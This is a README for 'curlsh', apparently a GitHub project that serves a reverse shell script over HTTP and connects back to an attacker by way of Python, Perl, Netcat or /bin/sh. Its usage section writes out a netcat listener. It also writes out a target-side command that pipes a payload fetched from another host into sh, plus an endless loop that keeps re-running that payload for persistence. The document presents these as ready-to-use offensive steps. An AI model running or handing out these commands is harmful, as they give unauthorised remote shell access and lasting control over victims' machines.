Simple curl reverse shell

This project implements a simple HTTP server that serves a reverse shell script to a target machine. The reverse shell script attempts to connect back to a specified IP address and port using various methods, including Python, Perl, Netcat, and /bin/sh.

Features

• Supports multiple reverse shell methods:
  • Python (both Python 2 and Python 3)
  • Perl
  • Netcat
  • /bin/sh
• Graceful shutdown on Ctrl+C.
• Easily customizable IP and port configuration.

Requirements

• A Unix-like operating system (Linux, macOS).
• bash, nc (Netcat), python or python3, and perl should be installed on the system running the script.

Usage

1. Clone this repository:

   git clone https://github.com/laztname/curlsh.git
   cd curlsh

2. Make the script executable:

   chmod +x curlsh
   

3. Run the script with the target IP, target port, and listening port:

   ./curlsh <target_ip> <target_port> <listening_port>
   

• <target_ip>: The IP address of the target machine you want the reverse shell to connect to.
• <target_port>: The port on the target machine to connect to.
• <listening_port>: The port on your machine to listen for incoming requests.

Example

On the listener (192.168.1.100) run the script

./curlsh 192.168.1.101 1337 8080

On your machine (192.168.1.101) listen the port

nc -lvp 1337

On target machine (192.168.1.102) call the reverse shell

curl -s 192.168.1.100:8080|sh

or run this for persistence on the target machine

while true; do curl -s 192.168.1.100:8080 | sh; done
